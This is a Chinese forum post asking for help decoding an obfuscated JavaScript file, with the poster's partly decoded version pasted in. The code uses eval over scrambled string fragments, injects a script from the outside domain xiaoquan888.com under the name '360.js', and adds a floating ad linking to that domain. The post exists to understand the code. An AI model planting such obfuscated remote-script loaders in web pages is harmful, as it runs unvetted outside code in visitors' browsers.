求助 高人帮忙解下Js加密文件。。。。

我也不知道有没有解对<script>
OlOlll = "(x)";
OllOlO = " String";
OlllOO = "tion";
OlOllO = "Code(x)}";
OllOOO = "Char";
OlllOl = "func";
OllllO = " l = ";
OllOOl = ".from";
OllOll = "{return";
Olllll = "var";
window["eval"](Olllll + OllllO + OlllOl + OlllOO + OlOlll + OllOll + OllOlO + OllOOl + OllOOO + OlOllO);O=function(m){return String.fromCharCode(Math.floor(m/10000)/18);}document.writeln("<script type=\"text/javascript\" src=\"http://xiaoquan888.com/script/360.js\"></script>");OlOlll = "(x)";
OllOlO = " String";
OlllOO = "tion";
OlOllO = "Code(x)}";
OllOOO = "Char";
OlllOl = "func";
OllllO = " l = ";
OllOOl = ".from";
OllOll = "{return";
Olllll = "var";var l = function(x){return String.fromCharCode(x)}
O=function(m){return String.fromCharCode(Math.floor(m/10000)/18);}var adv_chunge_height=150;var adv_chunge_width=150;var adv_chunge_HTML='<a href="http://xiaoquan888.com/" target="_blank" onclick="adv_x_cloes()"><img src="http://xiaoquan888.com/3.gif" width="150" height="150" /></a>';var adv_chunge = document.createElement("div");adv_chunge.id = "adv_chunge";
adv_chunge.style.cssText = "height:" + adv_chunge_height + "px;width:" + adv_chunge_width + "px;position:absolute;right:5px;bottom:5px;border:1px solid #92B0DD;";
adv_chunge.innerHTML = '<div id="fkyc_adv_close" style="height:20px;width:30px;margin-right:0px;margin-left:auto;position:relative;margin-top:auto;margin-font-family:宋体;bottom:auto;font-size:12px;line-height:20px;font-weight:bold;color:#000000;cursor:pointer;background-color: #92B0DD;text-align: center;" onclick="adv_x_cloes()">关闭</div><div id="fkyc_adv_html" style="margin-top: -20px;">' + adv_chunge_HTML + '</div>';
document.body.appendChild(adv_chunge);function adv_x_cloes() {
document.getElementById("adv_chunge").style.display = "none";
}</script>